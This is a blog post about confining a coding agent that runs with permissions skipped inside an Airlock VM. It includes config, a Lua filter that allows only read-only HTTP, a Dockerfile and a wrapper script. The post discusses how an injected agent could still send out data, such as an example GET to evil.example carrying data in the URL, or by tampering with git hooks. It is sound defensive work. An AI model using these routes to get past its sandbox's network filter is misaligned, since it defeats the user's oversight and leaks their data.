Putting my coding agent in an airlock
I run my coding agent with --dangerously-skip-permissions. The flag name is pretty accurate.
For a long time I told myself it was fine. I read the diffs, I roughly know what the agent is doing, and I’ve never seen it do anything really dumb. But running it directly on my host with the prompts turned off gives it access to my shell, my SSH keys, my cloud credentials, every repo under my home directory and an internet connection. It doesn’t have to be malicious to cause damage. It’s enough that it gets confused, or reads a web page that tells it to do something.
The permission prompts exist to protect me from exactly that. They’re also the thing that makes agents annoying, and after a few hundred “yes, allow this” clicks I wasn’t really reading them anymore.
So I wanted to know if I could keep the agent running at full speed and still limit what it can touch.
What I wanted
I wrote the list down first, because otherwise this would have turned into a container orchestration hobby.
- Agent runs with all permissions skipped. No prompts.
- It sees the repo it works on, and nothing else from my home directory.
- The only way for data to leave is through the LLM API. No pushing code to random places, no pastebins.
- It can still read documentation on the web.
- It works from Orca, where I launch my agents these days, in parallel git worktrees.
- No per-repo setup. If I
cdinto any project and start the agent, the same rules apply.
The last point ended up shaping everything. Almost all the config lives in my home directory, not in any repo.
Airlock
The tool I landed on is Airlock. It boots a small Linux VM in a couple of seconds and uses a Linux OCI image for the agent’s filesystem inside it. The project directory is mounted at the same path as on the host.
The VM part is why I picked it. A container running directly on my machine shares my kernel. Airlock puts the agent in a separate VM and sends its outgoing TCP connections back to a proxy on my host. That’s where the network rules are enforced, using the policy in my config file.
The policy is not just host and port rules. There’s a Lua middleware layer that sees the HTTP requests after TLS interception. Airlock generates a per-project CA that the guest trusts, so inside the sandbox everything looks like normal HTTPS. On the host side I get to look at every request and say no.
That’s the hook I needed for “access the internet, but only read it”.
Read-only internet
This is the network part of my ~/.airlock/config.toml:
presets = ["debian", "nodejs", "claude-code"]
[network]
policy = "deny-by-default"
[network.rules.web-read-only]
allow = ["*:443", "*:80"]
[network.middleware.get-only]
target = ["*:443", "*:80"]
script = '''
local anthropic = req:hostMatches("api.anthropic.com")
or req:hostMatches("claude.ai") or req:hostMatches("platform.claude.com")
if anthropic then return end
local read_method = req.method == "GET" or req.method == "HEAD"
local upgrade = req:header("upgrade") ~= nil
if not read_method or upgrade or req:body():len() > 0 then
log("get-only: denied " .. req.method .. " " .. req.host .. req.path)
req:deny()
end
'''
Deny everything by default, allow every host on 443 and 80, and then let only GET and HEAD through, without a body and without an Upgrade header. The three Anthropic hosts the agent actually talks to are exempt since it has to POST to its API.
I went back and forth on the body check. A GET can carry a body, though HTTP doesn’t define what that body means. The new QUERY method is designed for queries with a body. The method check already stops QUERY, but I blocked bodies on GET too. A request body can carry data out regardless of the method.
My first version looked at content-length and transfer-encoding to decide whether there was a body. That’s fine for HTTP/1.1, but over HTTP/2 the client doesn’t have to send those headers, the body can just arrive as data frames. So the script now reads the body and checks its length, which is the same thing whichever version the guest negotiated. Reading the body only happens for requests that survived the method and upgrade checks, and for those it should be empty anyway.
The Upgrade check took me longer to notice. An HTTP/1.1 WebSocket handshake is a GET with no body, so it would sail through the other checks. After the upgrade, the agent could send data that this HTTP filter no longer inspects. I don’t need WebSockets for my current agent workflow, so I block those upgrades too.
The claude-code preset adds one thing I really like: the OAuth token never enters the VM. The guest gets a placeholder, and the host proxy replaces it with the real token in request headers to the Anthropic hosts covered by the preset. If the agent ever dumps its environment into a log, the real OAuth token won’t be in it.
What this doesn’t close is the URL. GET https://evil.example/?data=... is still a GET, and data can be split across multiple requests. The script doesn’t restrict ordinary request headers either. Blocking request bodies doesn’t prevent exfiltration. An explicit host allowlist would restrict where those requests can go. For now I think the tradeoff is fine.
One image
The sandbox needs an image with the agent and the toolchains in it. I keep one Dockerfile in ~/.airlock/ and build it locally:
FROM debian:trixie-slim
RUN apt-get update && apt-get install -y --no-install-recommends \
build-essential ca-certificates curl git jq less make procps ripgrep xz-utils \
default-jdk-headless \
&& apt-get clean && rm -rf /var/lib/apt/lists/*
# Go
RUN curl -fsSL https://go.dev/dl/go1.26.7.linux-amd64.tar.gz | tar -xz -C /usr/local
ENV PATH="/usr/local/go/bin:/root/go/bin:${PATH}"
# Node LTS + corepack for yarn/pnpm
RUN curl -fsSL https://nodejs.org/dist/v24.15.0/node-v24.15.0-linux-x64.tar.xz \
| tar -xJ -C /usr/local --strip-components=1 && corepack enable
# Rust
RUN curl -fsSL https://sh.rustup.rs | sh -s -- -y --profile minimal
ENV PATH="/root/.cargo/bin:${PATH}"
# The agent
RUN curl -fsSL https://claude.ai/install.sh | bash \
&& ln -s /root/.local/bin/claude /usr/local/bin/claude
ENTRYPOINT ["/bin/bash"]
With that saved as ~/.airlock/Dockerfile, build the image:
docker build -t airlock-dev:local - < ~/.airlock/Dockerfile
Put in whatever you actually use. Set image = "airlock-dev:local" under [vm] in the Airlock config and it picks the image up from the local Docker daemon, no registry needed. I also configure named disk caches for the Go module cache, Cargo registry and Yarn, so those downloads survive when Airlock recreates the sandbox filesystem for an updated image.
This personal catch-all image is the lazy option and it works for me. For some projects it makes more sense to point Airlock at the project’s own devcontainer image instead. That gives the agent the same installed tools and libraries as the developers. Any databases, extra services or startup steps configured outside that image still need to be set up in Airlock.
Orca and git worktrees
Orca just runs a command in a terminal inside a worktree, and every agent in its settings has a command override field. Mine points at a small wrapper instead of claude:
#!/usr/bin/env bash
set -Eeuo pipefail
if [[ ! -e airlock.toml && ! -e airlock.local.toml ]]; then
common="$(git rev-parse --path-format=absolute --git-common-dir 2>/dev/null || true)"
{
echo "# generated by claude-airlock"
if [[ -n "$common" && "$common" != "$PWD/.git" ]]; then
printf '\n[mounts.git-common-dir]\nsource = "%s"\ntarget = "%s"\n' "$common" "$common"
fi
} > airlock.local.toml
fi
exec airlock start -- claude "$@"
Orca appends its own flags after the command, so --dangerously-skip-permissions still ends up on claude.
The middle part is there because of worktrees. Airlock asks whether it should create a project config when there isn’t one, and I don’t want to answer that every time a new worktree starts, so the wrapper writes one if neither TOML file exists. The automatic project mount covers the directory you start it in. A linked worktree’s .git isn’t a directory, it’s a file pointing into the main checkout’s .git/worktrees/<name>. Mount only the worktree and commands like git status fail because that path is missing inside the VM.
So when generating that file, the wrapper asks git where the common dir is, and if it’s somewhere else, adds a mount that exposes it at the same path in the guest. If a project already has an Airlock config, I need to add the mount there myself. The generated file is in my global gitignore.
The cost of mounting the whole common directory is that the sandbox gets write access to the main repo’s .git. The worktree’s index lives there, but so do shared hooks and config. Changes to those can make a later Git command run code on my host, and they won’t show up in a normal diff. I still need to review the repo files too. A package.json script or a Makefile the agent edited runs on my side of the wall the moment I run it. The sandbox limits what the agent can do while it works. It doesn’t make the diff safe to run unread.
Things that bit me
The KVM check ignored ACLs. The version I used checked /dev/kvm access by looking at owner and groups. My user had access through a logind ACL, opening the device worked, and Airlock still refused to start. sudo usermod -aG kvm $USER plus re-login got me past it. The check has since been fixed in Airlock’s source.
A four-year-old Docker in ~/bin. Airlock loads local images with docker image save and expects the OCI layout that Docker has produced since version 25. I had Docker 29 installed from the package repo, but also a rootless tarball install from 2022 first on my PATH, still running the daemon. It took a while to understand why a fresh docker-ce package gave me a 20.10 server. Repointing the user systemd unit at /usr/bin/dockerd-rootless.sh fixed it and the images survived.
Absolute paths don’t travel. I had core.excludesfile set to /home/me/.config/git/ignore. In my image, home is /root, so the mounted .gitconfig pointed at nothing. Git looks at ~/.config/git/ignore by default anyway, so the fix was to delete the setting.
Was it worth it
The agent runs without asking, in a VM with the repo, a toolchain and the extra mounts I’ve configured. It can read the internet, it can’t write to it, and it has never seen its own OAuth token. A hostile web page can still confuse it. What it can do with that confusion is a lot smaller, and I can see every request it made. I’d say this is quite good setup.
Thanks for reading!
Let me know what you think of this article on x.com @niklas1e or leave a comment below!
Latest Articles
- Putting my coding agent in an airlock September 27, 2026
- It's not about five more moves July 3, 2026
- Popovers are finally becoming a browser problem May 12, 2026
- Syntax highlighting in less March 2, 2024
- Satoshi Nakamoto potentially solved the crypto trilemma March 24, 2023
- more...